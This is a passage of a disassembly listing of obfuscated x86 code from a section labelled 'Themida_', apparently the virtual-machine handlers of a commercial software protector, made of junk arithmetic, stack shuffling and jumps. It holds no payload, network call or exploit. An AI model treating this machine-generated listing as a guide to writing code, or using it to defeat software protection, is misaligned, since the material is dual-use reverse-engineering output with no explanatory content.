		mov	edx, 462C021Ah
		sub	eax, edx
		pop	edx
		jmp	loc_558A8E
; ---------------------------------------------------------------------------


loc_5538F7:				; CODE XREF: Themida_:00551BEEj
		sub	edi, edx
		pop	edx
		add	edi, 251F37B2h
		add	edi, 562A537Ah
		add	edi, ecx
		sub	edi, 562A537Ah
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5593E5
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55A596
; ---------------------------------------------------------------------------


loc_553931:				; CODE XREF: Themida_:0055252Fj
		sub	ebp, 12670A95h
		or	ebp, 0C6F36BFh
		shr	ebp, 4
		sub	ebp, 0DBA8C83Dh
		sub	edi, ebp
		pop	ebp
		std
		mov	ecx, 3E672748h
		jmp	loc_556D38
; ---------------------------------------------------------------------------


loc_553954:				; CODE XREF: Themida_:0055D64Dj
		shr	ebx, 2
		and	ebx, 76194234h
		sub	ebx, 1
		jmp	loc_554E79
; ---------------------------------------------------------------------------


loc_553965:				; CODE XREF: Themida_:0055B700j
		mov	ecx, 2
		add	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5588B9
; ---------------------------------------------------------------------------


loc_553978:				; CODE XREF: Themida_:0055DA1Dj
		pop	ebx
		sub	ebx, 4DB007EBh
		pop	edi
		jmp	loc_558A56
; ---------------------------------------------------------------------------


loc_553985:				; CODE XREF: Themida_:0055DD16j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_55398A:				; CODE XREF: Themida_:00552B4Aj
		sub	ebx, 5C370BC9h
		add	ebx, ecx
		add	ebx, 5C370BC9h
		pop	ecx
		add	ebx, edx
		push	esi
		push	ebp
		jmp	loc_556A1C
; ---------------------------------------------------------------------------


loc_5539A2:				; CODE XREF: Themida_:005579A8j
		pop	ecx
		jmp	loc_5592B9
; ---------------------------------------------------------------------------


loc_5539A8:				; CODE XREF: Themida_:005529DCj
		xchg	edx, [esp]
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5539BA:				; CODE XREF: Themida_:0055724Cj
		push	edi
		mov	edi, 4
		jmp	loc_55B591
; ---------------------------------------------------------------------------


loc_5539C5:				; CODE XREF: Themida_:0055B124j
		push	1F6Ch
		mov	[esp], edx
		mov	dh, 74h
		jmp	loc_5569E0
; ---------------------------------------------------------------------------


loc_5539D4:				; CODE XREF: Themida_:00558D07j
		mov	ebx, [esp]
		jmp	loc_551E13
; ---------------------------------------------------------------------------


loc_5539DC:				; CODE XREF: Themida_:00551E0Ej
		pop	edi
		not	edi
		xchg	edi, esi
		shl	esi, 6
		dec	esi
		xor	esi, 1CB5487Bh
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	2CADh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_553146
; ---------------------------------------------------------------------------


loc_553A0B:				; CODE XREF: Themida_:00554C70j
		push	70E7h
		jmp	loc_556FC3
; ---------------------------------------------------------------------------


loc_553A15:				; CODE XREF: Themida_:00556656j
		pop	edi
		add	ecx, edx
		pop	edx
		jmp	loc_555C2F
; ---------------------------------------------------------------------------


loc_553A1E:				; CODE XREF: Themida_:0055BDD5j
		mov	[esp], edx
		mov	edx, 627C7A90h
		xor	edi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 55B21852h
		not	ebx
		jmp	loc_553FFC
; ---------------------------------------------------------------------------
		push	ebx
		push	4D3D7D87h
		pop	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		dec	ebx
		push	ecx
		push	eax
		mov	eax, 520331DDh
		push	eax
		pop	ecx
		pop	eax
		push	edx
		mov	edx, 589C1D6Ch
		shl	edx, 8
		sub	edx, 5BEC2F49h
		jmp	loc_55388E
; ---------------------------------------------------------------------------


loc_553A6D:				; CODE XREF: Themida_:0055DD73j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_557657
; ---------------------------------------------------------------------------


loc_553A7F:				; CODE XREF: Themida_:0055D6CAj
		not	ebp
		inc	ebp
		sub	ebp, 493A3CE1h
		add	ebp, 0B2D74E12h
		sub	edx, 303E7424h
		add	edx, ebp
		add	edx, 303E7424h
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		push	small 4B60h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553AC3:				; CODE XREF: Themida_:00559F1Bj
		xchg	ebx, [esp]
		jmp	loc_551CAB
; ---------------------------------------------------------------------------


loc_553ACB:				; CODE XREF: Themida_:0055C092j
		pop	edi
		sub	esi, 1F3F15AAh
		add	esi, ebx
		jmp	loc_552225
; ---------------------------------------------------------------------------


loc_553AD9:				; CODE XREF: Themida_:00553B69j
		push	esi
		jmp	loc_554346
; ---------------------------------------------------------------------------


loc_553ADF:				; CODE XREF: Themida_:005570FFj
		pop	ebp
		add	ebp, 4
		jmp	loc_559183
; ---------------------------------------------------------------------------


loc_553AEB:				; CODE XREF: Themida_:005562C6j
		bts	[esp], ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553AF6:				; CODE XREF: Themida_:00558F0Aj
		push	3A0E66E1h
		pop	edx
		xor	edx, 18C670A1h
		jmp	loc_55216D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		jmp	loc_557A09
; ---------------------------------------------------------------------------


loc_553B1A:				; CODE XREF: Themida_:005598BCj
		pop	dx
		add	ax, bx
		add	ax, 763Dh
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_55C0A0
; ---------------------------------------------------------------------------


loc_553B32:				; CODE XREF: Themida_:00558B5Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		and	ebx, 202C6DABh
		jmp	loc_55A249
; ---------------------------------------------------------------------------


loc_553B5B:				; CODE XREF: Themida_:00557832j
		not	esi
		shl	esi, 2
		xor	esi, 0C39BA146h
		xor	edx, esi
		pop	esi
		jmp	loc_553AD9
; ---------------------------------------------------------------------------


loc_553B6E:				; CODE XREF: Themida_:00554A2Fj
		mov	[esp], eax
		jmp	loc_55377C
; ---------------------------------------------------------------------------


loc_553B76:				; CODE XREF: Themida_:00551B5Fj
		movzx	cx, al
		push	ecx
		push	edi
		mov	edi, esp
		jmp	loc_557C57
; ---------------------------------------------------------------------------


loc_553B83:				; CODE XREF: Themida_:00557F3Aj
		xor	edi, eax
		pop	eax
		sub	edi, 8388C5CBh
		mov	eax, edi
		pop	edi
		mov	edx, eax
		pop	eax
		jmp	loc_5586C1
; ---------------------------------------------------------------------------


loc_553B97:				; CODE XREF: Themida_:0055D396j
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_5524E7
; ---------------------------------------------------------------------------


loc_553BA7:				; CODE XREF: Themida_:0055725Aj
		mov	dx, 0B728h
		xor	bp, dx
		jmp	loc_554795
; ---------------------------------------------------------------------------


loc_553BB3:				; CODE XREF: Themida_:00559794j
		pop	eax
		inc	eax
		add	eax, 632E6DE6h
		xor	edx, eax
		jmp	loc_5541D1
; ---------------------------------------------------------------------------


loc_553BC1:				; CODE XREF: Themida_:0055D5D5j
		push	eax
		jmp	loc_558B3C
; ---------------------------------------------------------------------------


loc_553BC7:				; CODE XREF: Themida_:0055937Dj
		shl	edi, 4
		inc	edi
		add	edi, 9EE59936h
		mov	ebx, edi
		jmp	loc_55C508
; ---------------------------------------------------------------------------


loc_553BD8:				; CODE XREF: Themida_:0055977Fj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55986F
; ---------------------------------------------------------------------------


loc_553BF1:				; CODE XREF: Themida_:0055C82Fj
		not	di
		neg	di
		jmp	loc_554D36
; ---------------------------------------------------------------------------


loc_553BFC:				; CODE XREF: Themida_:0055B0EFj
		add	esp, 4
		shr	dh, 1
		add	dh, 0FFh
		shr	dh, 5
		xor	dh, 5Dh
		push	ebx
		mov	bh, 0C7h
		neg	bh
		jmp	loc_55A920
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_556A48
; ---------------------------------------------------------------------------


loc_553C1F:				; CODE XREF: Themida_:00559567j
		add	ecx, 256D74ADh
		xor	edi, ecx
		pop	ecx
		not	edi
		xor	edi, 0A41F0E53h
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55C0CD
; ---------------------------------------------------------------------------


loc_553C3E:				; CODE XREF: Themida_:00555DD2j
		push	edx
		jmp	loc_559BD3
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 3Dh
		add	al, 0
		sub	al, 5Ah
		sub	al, 6Dh
		sub	al, bl
		add	al, 6Dh
		jmp	loc_55C95E
; ---------------------------------------------------------------------------


loc_553C56:				; CODE XREF: Themida_:0055C3E1j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_55BD75
; ---------------------------------------------------------------------------


loc_553C67:				; CODE XREF: Themida_:00551D63j
		xor	bh, dl
		pop	dx
		add	al, bh
		mov	ebx, [esp]
		jmp	loc_556C43
; ---------------------------------------------------------------------------


loc_553C75:				; CODE XREF: Themida_:0055B7CAj
		sub	ebp, ebx
		pop	ebx
		shl	ebp, 6
		sub	ebp, 1F797AEAh
		jmp	loc_55ABEE
; ---------------------------------------------------------------------------


loc_553C86:				; CODE XREF: Themida_:00557ACAj
		pop	ebp
		add	eax, edx
		add	eax, 2F5550C6h
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_55CB6D
; ---------------------------------------------------------------------------


loc_553C9A:				; CODE XREF: Themida_:00558897j
		pop	esp
		push	4D66h
		mov	[esp], ebx
		add	dword ptr [esp], 282C5AD4h
		pop	eax
		sub	eax, 282C5AD4h
		mov	ebx, [esp]
		jmp	loc_559EA2
; ---------------------------------------------------------------------------


loc_553CB8:				; CODE XREF: Themida_:00558357j
		mov	esi, 0A23AE9D1h
		add	esi, ebp
		pop	ebp
		jmp	loc_5554CD
; ---------------------------------------------------------------------------


loc_553CC5:				; CODE XREF: Themida_:00559D12j
		mov	ecx, 47E26A96h
		or	ebx, ecx
		pop	ecx
		add	ebx, 35E76A39h
		xor	ebx, 9DD5D511h
		jmp	loc_55A949
; ---------------------------------------------------------------------------


loc_553CDE:				; CODE XREF: Themida_:0055699Cj
		add	ebx, ecx
		pop	ecx
		mov	edi, ebx
		pop	ebx
		or	edi, 7B5673E8h
		jmp	loc_558287
; ---------------------------------------------------------------------------


loc_553CEF:				; CODE XREF: Themida_:005555E5j
		mov	eax, 4DCD6CC2h
		sub	ecx, eax
		jmp	loc_5562DE
; ---------------------------------------------------------------------------


loc_553CFB:				; CODE XREF: Themida_:00558F85j
		pop	edx
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5532B2
; ---------------------------------------------------------------------------


loc_553D0D:				; CODE XREF: Themida_:00555A8Dj
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_55A84F
; ---------------------------------------------------------------------------


loc_553D26:				; CODE XREF: Themida_:00554CEDj
		shl	ebp, 6
		dec	ebp
		sub	ebp, 8C2719C3h
		or	edi, ebp
		pop	ebp
		not	edi
		add	edi, 0EB3BA3D6h
		jmp	loc_55987C
; ---------------------------------------------------------------------------


loc_553D40:				; CODE XREF: Themida_:0055CDA1j
		sub	ebx, 64222D1Dh
		add	ebx, esi
		add	ebx, 64222D1Dh
		pop	esi
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_556C82
; ---------------------------------------------------------------------------


loc_553D5A:				; CODE XREF: Themida_:0055D83Dj
		xor	ebx, 76AF1994h
		sub	ebx, 0F66F98FCh
		jmp	loc_557F45
; ---------------------------------------------------------------------------


loc_553D6B:				; CODE XREF: Themida_:0055B882j
		mov	al, 5Fh
		add	al, 0A0h
		jmp	loc_555BAA
; ---------------------------------------------------------------------------


loc_553D74:				; CODE XREF: Themida_:005518BDj
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_558170
; ---------------------------------------------------------------------------


loc_553D88:				; CODE XREF: Themida_:00559E07j
		sub	ecx, 114D33C7h
		sub	ecx, esi
		add	ecx, 114D33C7h
		pop	esi
		sub	edi, ecx
		pop	ecx
		not	edi
		push	ebp
		mov	ebp, 0E2A36EF8h
		jmp	loc_55293D
; ---------------------------------------------------------------------------


loc_553DA7:				; CODE XREF: Themida_:00556901j
		sub	ebx, 4
		jmp	loc_555B1B
; ---------------------------------------------------------------------------


loc_553DAF:				; CODE XREF: Themida_:005537B9j
		push	6E458BA6h
		push	dword ptr [esp]
		mov	esi, [esp]
		push	3233h
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_55C038
; ---------------------------------------------------------------------------


loc_553DDF:				; CODE XREF: Themida_:0055DCA7j
		add	edx, 4
		jmp	loc_55CCEA
; ---------------------------------------------------------------------------


loc_553DEA:				; CODE XREF: Themida_:0055267Ej
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_558FEF
; ---------------------------------------------------------------------------


loc_553DF9:				; CODE XREF: Themida_:005566FBj
		pop	ecx
		jmp	loc_55BA94
; ---------------------------------------------------------------------------


loc_553DFF:				; CODE XREF: Themida_:0055C01Bj
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553E0C:				; CODE XREF: Themida_:005593ABj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	cl, dl
		push	edx
		push	eax
		mov	ah, cl
		mov	dh, ah
		pop	eax
		mov	[edi+eax*4], dh
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_55BD47
; ---------------------------------------------------------------------------


loc_553E31:				; CODE XREF: Themida_:0055A026j
		and	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, 0A8669514h
		sub	eax, 298D4D04h
		jmp	loc_5588D4
; ---------------------------------------------------------------------------


loc_553E49:				; CODE XREF: Themida_:00558B22j
		mov	[esp], eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_554E19
; ---------------------------------------------------------------------------


loc_553E5C:				; CODE XREF: Themida_:005521E5j
		mov	al, 0DAh
		add	al, 7Ch
		add	bl, al
		pop	eax
		push	eax
		mov	al, 84h
		and	al, 0CFh
		jmp	loc_55D39B
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, 0EAE0D36h
		sub	edi, 71C62431h
		add	edi, eax
		add	edi, 71C62431h
		sub	edi, 0EAE0D36h
		mov	eax, [esp]
		jmp	loc_55B76C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553EAA:				; CODE XREF: Themida_:00554790j
		add	eax, 4
		jmp	loc_554E37
; ---------------------------------------------------------------------------


loc_553EB4:				; CODE XREF: Themida_:005523DEj
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553EBD:				; CODE XREF: Themida_:0055A55Dj
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	eax
		mov	eax, 2B8B45FDh
		shr	eax, 2
		add	eax, 6A851B56h
		add	eax, 6FD54CC9h
		inc	eax
		shl	eax, 7
		jmp	loc_55C0D9
; ---------------------------------------------------------------------------


loc_553EE2:				; CODE XREF: Themida_:0055A2E4j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_552292
; ---------------------------------------------------------------------------


loc_553EED:				; CODE XREF: Themida_:005524D7j
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553EF2:				; CODE XREF: Themida_:005570DFj
		mov	[esp], ebx
		jmp	loc_555C88
; ---------------------------------------------------------------------------


loc_553EFA:				; CODE XREF: Themida_:00556C09j
		mov	ecx, 3A969B2h
		mov	eax, 76D13FD2h
		jmp	loc_551A70
; ---------------------------------------------------------------------------


loc_553F09:				; CODE XREF: Themida_:005577DEj
		pop	esi
		push	eax
		mov	eax, 76AA44A6h
		jmp	loc_559784
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5541D9
; ---------------------------------------------------------------------------


loc_553F30:				; CODE XREF: Themida_:0055401Cj
		pop	esi
		add	esi, 4
		push	76C5h
		jmp	loc_557D2E
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_553F49:				; CODE XREF: Themida_:005564E9j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5538A6
; ---------------------------------------------------------------------------


loc_553F58:				; CODE XREF: Themida_:0055255Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 719D482Eh
		sub	dword ptr [esp+4], 31D4210h
		jmp	loc_55650D
; ---------------------------------------------------------------------------


loc_553F73:				; CODE XREF: Themida_:00556831j
		xor	edx, eax
		xor	eax, edx
		push	6BEBh
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5546D0
; ---------------------------------------------------------------------------


loc_553F8A:				; CODE XREF: Themida_:00554561j
		mov	eax, 24h
		add	esi, 60FC0EF5h
		jmp	loc_556A58
; ---------------------------------------------------------------------------


loc_553F9A:				; CODE XREF: Themida_:0055CD01j
		mov	[esp], esi
		jmp	loc_55BD7B
; ---------------------------------------------------------------------------


loc_553FA2:				; CODE XREF: Themida_:005534C4j
		push	4ED7h
		mov	[esp], ecx
		mov	ecx, 6B593A36h
		add	eax, ecx
		pop	ecx
		movzx	ax, byte ptr [eax]
		push	small 6A9Ah
		mov	[esp], ax
		jmp	loc_552482
; ---------------------------------------------------------------------------
		mov	sp, [esp]
		jmp	loc_55864F
; ---------------------------------------------------------------------------


loc_553FCC:				; CODE XREF: Themida_:0055DCFBj
		add	esp, 4
		sub	ebp, 4
		jmp	loc_55C147
; ---------------------------------------------------------------------------


loc_553FDD:				; CODE XREF: Themida_:00558430j
		inc	ebx
		push	eax
		mov	eax, 24662A64h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebx
		jmp	loc_552DEF
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_554838
; ---------------------------------------------------------------------------


loc_553FFC:				; CODE XREF: Themida_:00553A3Dj
		push	4AAh
		mov	[esp], ebp
		jmp	loc_55B3E0
; ---------------------------------------------------------------------------


loc_554009:				; CODE XREF: Themida_:005570BFj
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		imul	cx
		jmp	loc_55BFD4
; ---------------------------------------------------------------------------


loc_554018:				; CODE XREF: Themida_:0055B7A0j
		mov	[esp], esi
		push	esp
		jmp	loc_553F30
; ---------------------------------------------------------------------------


loc_554021:				; CODE XREF: Themida_:00559B14j
		sub	ecx, edi
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_559593
; ---------------------------------------------------------------------------


loc_55402F:				; CODE XREF: Themida_:0055640Ej
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_558CA2
; ---------------------------------------------------------------------------


loc_554045:				; CODE XREF: Themida_:0055D3F0j
		mov	edi, 78006073h
		not	edi
		xor	edi, edx
		jmp	loc_55A43B
; ---------------------------------------------------------------------------


loc_554053:				; CODE XREF: Themida_:0055CA9Dj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		mov	edi, 7A966D28h
		xor	edi, 0CE801C20h
		jmp	loc_55657E
; ---------------------------------------------------------------------------


loc_55406B:				; CODE XREF: Themida_:0055A60Aj
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_5518A3
; ---------------------------------------------------------------------------


loc_554079:				; CODE XREF: Themida_:00558137j
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_556082
; ---------------------------------------------------------------------------


loc_554088:				; CODE XREF: Themida_:00555BD8j
		sub	esi, 7B03108Ch
		add	esi, edi
		jmp	loc_558393
; ---------------------------------------------------------------------------


loc_554095:				; CODE XREF: Themida_:0055AAD3j
		add	ebx, 4
		push	744Dh
		jmp	loc_55DBE2
; ---------------------------------------------------------------------------


loc_5540A5:				; CODE XREF: Themida_:00553771j
		sub	edx, 36382AA5h
		add	edx, ecx
		add	edx, 36382AA5h
		pop	ecx
		sub	edx, eax
		mov	eax, edx
		pop	edx
		shr	eax, 6
		not	eax
		jmp	loc_55BA82
; ---------------------------------------------------------------------------


loc_5540C3:				; CODE XREF: Themida_:005572C3j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4


loc_5540D2:				; CODE XREF: Themida_:0055B238j
		push	1FB6h
		mov	[esp], ebx
		push	ebx
		jmp	loc_552401
; ---------------------------------------------------------------------------


loc_5540E0:				; CODE XREF: Themida_:00557481j
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 3BB5244Dh
		xor	ecx, 0AFA3E41h
		not	ecx
		sub	ecx, 0CEB0E5EFh
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55C9B4
; ---------------------------------------------------------------------------


loc_554105:				; CODE XREF: Themida_:00559B31j
		pop	ecx
		add	[esp], eax
		add	dword ptr [esp], 7EF230E9h
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_55B436
; ---------------------------------------------------------------------------


loc_55411E:				; CODE XREF: Themida_:00552639j
		add	edx, edi
		sub	edx, 7F7A3E0Dh
		jmp	loc_557E3A
; ---------------------------------------------------------------------------


loc_55412B:				; CODE XREF: Themida_:0055CCE5j
		mov	[esp], edi
		mov	edi, 233E67E8h
		add	edi, 73974F54h
		push	ebx
		jmp	loc_55868F
; ---------------------------------------------------------------------------


loc_55413F:				; CODE XREF: Themida_:0055C734j
		mov	esp, [esp]
		mov	cx, [esp]
		push	6F48h
		mov	[esp], eax
		push	esp
		pop	eax
		sub	esp, 4
		jmp	loc_55AB69
; ---------------------------------------------------------------------------


loc_55415B:				; CODE XREF: Themida_:0055275Fj
		push	small word ptr [eax]
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_554163:				; CODE XREF: Themida_:0055377Ej
		and	dl, ah
		pop	eax
		jmp	loc_5591CE
; ---------------------------------------------------------------------------


loc_55416B:				; CODE XREF: Themida_:005588C5j
		mov	edx, 610D0D89h
		push	ebx
		jmp	loc_559EB2
; ---------------------------------------------------------------------------


loc_554176:				; CODE XREF: Themida_:0055967Aj
		mov	ebp, 48D75764h
		mov	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 62B05432h
		jmp	loc_55BB3E
; ---------------------------------------------------------------------------


loc_554189:				; CODE XREF: Themida_:0055B558j
		sub	edx, ebx
		pop	ebx
		jmp	loc_55B55D
; ---------------------------------------------------------------------------


loc_554191:				; CODE XREF: Themida_:0055DCDEj
		mov	[esp], ebp
		mov	ebp, 59AF0772h
		inc	ebp
		add	ebp, 6D2D35BEh
		or	ebp, 166B4E24h
		inc	ebp
		push	edx
		mov	edx, 5A97497Eh
		and	edx, 535829C1h
		push	ebx
		mov	ebx, 4389520Ah
		shl	ebx, 5
		dec	ebx
		xor	ebx, 1CEE4F66h
		add	edx, ebx
		pop	ebx
		xor	edx, 0C239B2ACh
		jmp	loc_5521EA
; ---------------------------------------------------------------------------


loc_5541D1:				; CODE XREF: Themida_:00553BBCj
		pop	eax
		add	esi, edx
		jmp	loc_557E7A
; ---------------------------------------------------------------------------


loc_5541D9:				; CODE XREF: Themida_:00553F2Bj
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_55B276
; ---------------------------------------------------------------------------


loc_5541E8:				; CODE XREF: Themida_:0055ADB0j
		push	small 6F96h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_5541F8:				; CODE XREF: Themida_:005579A1j
		xor	al, dl
		mov	dx, [esp]
		add	esp, 2
		add	bl, 0F9h
		jmp	loc_55B4A8
; ---------------------------------------------------------------------------


loc_554209:				; CODE XREF: Themida_:0055200Fj
		dec	esi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_552B33
; ---------------------------------------------------------------------------


loc_554215:				; CODE XREF: Themida_:00556839j
		mov	esp, [esp]
		jmp	loc_557AB1
; ---------------------------------------------------------------------------


loc_55421D:				; CODE XREF: Themida_:00556C22j
		shr	ebp, 3
		dec	ebp
		neg	ebp
		jmp	loc_55A18C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55DCA5
; ---------------------------------------------------------------------------


loc_55424B:				; CODE XREF: Themida_:00556917j
		push	ebp
		mov	ebp, ecx
		push	ebp
		sub	dword ptr [esp], 16D460BBh
		pop	edi
		add	edi, 16D460BBh
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_555AC3
; ---------------------------------------------------------------------------


loc_554270:				; CODE XREF: Themida_:00554951j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55D3D9
; ---------------------------------------------------------------------------


loc_554286:				; CODE XREF: Themida_:0055CA2Fj
		not	eax
		xchg	eax, [esp]
		pop	dword ptr [edi+24h]
		jmp	loc_557F6C
; ---------------------------------------------------------------------------


loc_554293:				; CODE XREF: Themida_:00551D7Bj
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5594E4
; ---------------------------------------------------------------------------


loc_5542A3:				; CODE XREF: Themida_:0055AF15j
		pop	esp
		sub	esp, 2
		jmp	loc_55AB4D
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_55908A
; ---------------------------------------------------------------------------


loc_5542B7:				; CODE XREF: Themida_:00556E1Aj
		mov	al, 0EBh
		add	al, dh
		pop	edx
		jmp	loc_55C402
; ---------------------------------------------------------------------------


loc_5542C1:				; CODE XREF: Themida_:00558B08j
		pop	esi
		push	edx
		mov	edx, 413802E3h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	6D1Fh
		mov	[esp], esi
		pop	dword ptr [edi+20h]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55CE89
; ---------------------------------------------------------------------------


loc_5542E9:				; CODE XREF: Themida_:0055669Fj
		mov	ebx, edx
		pop	edx
		mov	esi, ebx
		pop	ebx
		and	edi, esi
		pop	esi
		neg	edi
		jmp	loc_55A4CE
; ---------------------------------------------------------------------------


loc_5542F9:				; CODE XREF: Themida_:0055C254j
		sub	ebp, 2361CCE2h
		sub	edi, ebp
		pop	ebp
		jmp	loc_55B1B3
; ---------------------------------------------------------------------------


loc_554307:				; CODE XREF: Themida_:0055A983j
		pop	esp
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_551815
; ---------------------------------------------------------------------------


loc_554311:				; CODE XREF: Themida_:0055D785j
		and	ebp, 7F997D40h
		dec	ebp
		or	ebp, 72A97DB0h
		xor	ebp, 4712323h
		shl	ebp, 8
		sub	ebp, 8BB4C27Fh
		add	edx, ebp
		jmp	loc_558F66
; ---------------------------------------------------------------------------


loc_554334:				; CODE XREF: Themida_:0055AA93j
		mov	ecx, 58C33B69h
		jmp	loc_556E7F
; ---------------------------------------------------------------------------


loc_55433E:				; CODE XREF: Themida_:005530C4j
		push	esi
		mov	esi, esp
		jmp	loc_55D8A9
; ---------------------------------------------------------------------------


loc_554346:				; CODE XREF: Themida_:00553ADAj
		mov	esi, edx
		jmp	loc_557B0C
; ---------------------------------------------------------------------------


loc_55434D:				; CODE XREF: Themida_:0055B5F5j
		mov	edi, 4
		jmp	loc_55C29F
; ---------------------------------------------------------------------------


loc_554357:				; CODE XREF: Themida_:0055D740j
		add	ebp, edi
		pop	edi
		pop	ecx
		jmp	loc_558E8F
; ---------------------------------------------------------------------------


loc_554360:				; CODE XREF: Themida_:0055CA62j
		not	esi
		xor	ebp, esi
		xor	esi, ebp
		xor	ebp, esi
		push	3355h
		jmp	loc_55D1A2
; ---------------------------------------------------------------------------


loc_554372:				; CODE XREF: Themida_:00553585j
		add	edi, ebp
		sub	edi, 0C840DD6h
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	5AEh
		jmp	loc_558196
; ---------------------------------------------------------------------------


loc_55438E:				; CODE XREF: Themida_:0055BABEj
		xor	ecx, 4AED0AB8h
